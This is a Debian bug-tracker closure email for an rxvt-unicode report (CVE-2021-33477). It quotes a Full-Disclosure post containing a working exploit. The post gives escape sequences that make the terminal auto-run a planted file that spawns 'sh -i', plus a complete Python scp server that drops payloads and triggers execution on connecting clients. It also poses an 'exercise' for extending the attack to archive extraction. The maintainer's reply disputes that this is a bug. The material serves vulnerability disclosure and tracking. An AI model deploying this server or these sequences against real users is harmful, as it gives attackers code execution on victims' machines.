Your message dated Thu, 20 May 2021 21:25:57 -0400
with message-id <20210521012557.p3y4gn5eakyfi...@zeta.rak.ac>
and subject line Re: Bug#988763: rxvt-unicode: Remote(?) code execution via ESC 
G Q
has caused the Debian Bug report #988763,
regarding rxvt-unicode: CVE-2021-33477: (potential remote) code execution via 
ESC G Q
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
988763: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=988763
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: rxvt-unicode
Version: 9.22-6
Severity: grave
Tags: security upstream
Justification: user security hole

Dear Maintainer,

Please see message on Full-Disclosure mailing list:
  https://seclists.org/fulldisclosure/2021/May/33
(quoted below, for completeness).

Please fix.

Thanks, Paul

Paul Szabo       p...@maths.usyd.edu.au       www.maths.usyd.edu.au/u/psz
School of Mathematics and Statistics   University of Sydney    Australia


Quoting messasge:

From: def <d...@huumeet.info>
To: <fulldisclos...@seclists.org>
Date: Sun, 16 May 2021 15:32:48 +0300
Subject: [FD] (u)rxvt terminal (+bash) remoteish code execution 0day

#!/usr/bin/env python
# Title: rxvt (remote) code execution over scp with $SHELL=/bin/bash (0day)
# Version: rxvt 2.7.10, rxvt-unicode 9.22
# Author: def <d...@huumeet.info>
# Date: 2021-05-16
# CVE: N/A
#
#------------------------------------------------------------------------------
# (U)RXVT VULNERABILITY
#
# In rxvt-based terminals, ANSI escape sequence ESC G Q (\eGQ, \033GQ, \x1bGQ)
# queries the availability of graphics and the response is received from stdin.
# However, rxvt responds to the query with a newline-terminated message, which
# is retarded and exposes goatse-wide gaping security holes in many popular CLI
# programs when executed inside an rxvt terminal window.
#
# [def@arch ~]$ printf '\eGQ'
# ^[G0
# [def@arch ~]$ 0
# bash: 0: command not found
#
# The latter command (i.e., 0) executes automatically without user interaction.
# The contents of the second command can be somewhat controlled by chaining the
# printf message with other escape sequences. In particular, a VT52 mode escape
# sequence \eZ prepends a letter Z and triggers bash's tab completion, allowing
# the construction of relative paths and, therefore, code execution in the form
# of running (planted) files from subdirectories in the current directory.
#
# URXVT (+BASH) CODE EXECUTION PROOF-OF-CONCEPT -------------------------------
#
# % mkdir -p ZZZ && echo 'uname -a; id; date; sh -i' >ZZZ/0 && chmod +x ZZZ/0
# % urxvt -e bash
#
# [def@arch ~]$ printf '\e[?2l\eZ\e<\eGQ'
# ^[/Z^[G0
# [def@arch ~]$ ZZZ/0
# Linux 5.11.1-arch-1 #1 SMP PREEMPT Tue, 23 Feb 2021 14:05:30 x86_64 GNU/Linux
# uid=1000(def) gid=1001(def) groups=1001(def),43(tor),998(wheel),999(adm)
# Sun Apr 18 04:25:22 AM EEST 2021
# sh-5.1$
#
# FIX -------------------------------------------------------------------------
#
# Don't use rxvt or any of its derivatives. Stay the fuck away from xterm also.
#
# st(1) is a viable solution if you ever plan to `cat /var/log/access.log` or
# otherwise handle untrusted data from questionable sources.
#
#------------------------------------------------------------------------------

import logging
import paramiko
import socket
import threading
logging.basicConfig(level=logging.INFO)

"""
This script implements a scp server that exploits insecure ANSI escape sequence
handling in client's (u)rxvt terminal (and bash shell). A recursive (-r) copy
into the current directory leads to code execution. For example:


    $ scp -r -P2222 user@localhost:/backup/or/whatever/ .

The above command transfers payload files ZZZ/0, ZZZ/1 and ZZZ/Z0 to the client
and executes one of them (the executed payload depends on the rxvt version).
"""

bind = ('localhost', 2222)
payload = '#!/bin/sh\nuname -a; id; date; sh -i\n'

class ScpExploitServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def get_allowed_auths(self, username):
        return "password"

    def check_auth_none(self, username):
        logging.info('Authenticating as %s', username)
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_password(self, username, password):
        logging.info('Authenticating with %s:%s', username, password)
        return paramiko.AUTH_SUCCESSFUL

    def check_channel_request(self, kind, chanid):
        logging.info('Opening %s channel %d', kind, chanid)
        if kind != "session":
            return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
        return paramiko.OPEN_SUCCEEDED

    def check_channel_exec_request(self, channel, command):
        chanid, command = channel.get_id(), command.decode('ascii')
        logging.info('Approving channel %d exec request: %s', chanid, command)
        parts = command.split()
        assert len(parts) > 2 and parts[0] == 'scp' and '-f' in parts
        threading.Thread(target=self.exploit, args=[channel]).start()
        return True

    def exploit(self, channel):
        def wait(): assert channel.recv(4096) == b'\x00'
        def send(): channel.sendall(b'\x00')
        fdir, fname0, fname1, fname2 = 'ZZZ', '0', '1', 'Z0'
        wait()

        # (1) Create subdirectory './ZZZ/'
        logging.info('Enter "%s/" (channel %d)', fdir, channel.get_id())
        command = 'D0755 0 {}\n'.format(fdir).encode('ascii')
        channel.sendall(command)
        wait()

        # (2) Save the payload as './ZZZ/0', './ZZZ/1' and './ZZZ/Z0'
        logging.info('Send file "%s" (channel %d)', fname0, channel.get_id())
        command = 'C0755 {} {}\n'.format(len(payload), fname0).encode('ascii')
        channel.sendall(command)
        wait()
        channel.sendall(payload)
        send()
        wait()
        #channel.sendall_stderr("\x1b[1A".encode('ascii'))

        logging.info('Send file "%s" (channel %d)', fname1, channel.get_id())
        command = 'C0755 {} {}\n'.format(len(payload), fname1).encode('ascii')
        channel.sendall(command)
        wait()
        channel.sendall(payload)
        send()
        wait()
        #channel.sendall_stderr("\x1b[1A".encode('ascii'))

        logging.info('Send file "%s" (channel %d)', fname2, channel.get_id())
        command = 'C0755 {} {}\n'.format(len(payload), fname2).encode('ascii')
        channel.sendall(command)
        wait()
        channel.sendall(payload)
        send()
        wait()

        # (3) Run the payload with ANSI escapes sequences (in (u)rxvt + bash)
        channel.sendall_stderr("\033[?2l\033Z\033<\033GQ".encode('ascii'))
        channel.sendall_stderr("\x1b[1A".encode('ascii'))
        channel.close()

if __name__ == '__main__':
    logging.info('Creating a temporary RSA host key ...')
    host_key = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(bind)
    sock.listen(0)
    logging.info('Listening at %s:%d ...', bind[0], bind[1])
    while True:
        try:
            client, addr = sock.accept()
            logging.info('Received connection from %s:%s', *addr)
            transport = paramiko.Transport(client)
            transport.add_server_key(host_key)
            transport.start_server(server=ScpExploitServer())
        except Exception as ex:
            logging.error('Connection closed: %s', ex)
        except KeyboardInterrupt:
            logging.info('Stopping server')
            break

#------------------------------------------------------------------------------
# EXERCISE FOR THE READER
#
# Achieve code execution in `unrar x foo.rar` / `busybox tar -xvf bar.tar` with
# an archive containing payload(s) and a trigger file named "\e[?2l\eZ\e<\eGQ".
#
#------------------------------------------------------------------------------


-- System Information:
Debian Release: 10.9
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.19+pk10.29 (SMP w/64 CPU cores)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages rxvt-unicode depends on:
ii  base-passwd               3.5.46
ii  libc6                     2.28-10
ii  libfontconfig1            2.13.1-2
ii  libfreetype6              2.9.1-3+deb10u2
ii  libgcc1                   1:8.3.0-6
ii  libgdk-pixbuf2.0-0        2.38.1+dfsg-1
ii  libglib2.0-0              2.58.3-2+deb10u2
ii  libperl5.28               5.28.1-6+deb10u1
ii  libstartup-notification0  0.12-6
ii  libx11-6                  2:1.6.7-1+deb10u1
ii  libxft2                   2.3.2-2
ii  libxrender1               1:0.9.10-1
ii  ncurses-base              6.1+20181013-2+deb10u2
ii  ncurses-term              6.1+20181013-2+deb10u2

Versions of packages rxvt-unicode recommends:
ii  fonts-dejavu                            2.37-1
ii  fonts-vlgothic [fonts-japanese-gothic]  20141206-5

Versions of packages rxvt-unicode suggests:
ii  sensible-utils  0.0.12

-- no debconf information

--- End Message ---
--- Begin Message ---
Hi Paul,

Thanks for the bug report. This is not a bug, and it isn't an RCE bug.
This behaviour falls under the category of: "If the program you are
running asks your terminal emulator to do bad stuff, and your terminal
emulator does the bad stuff you asked it to do, then you should blame
your program instead of the terminal emulator." If you'd like, I can
forward you an IRC log between upstream and the original bug reporter
detailing why it isn't a bug and why it is well-known terminal emulator
behaviour.

Best wishes,
Ryan

Attachment: signature.asc
Description: PGP signature


--- End Message ---

Reply via email to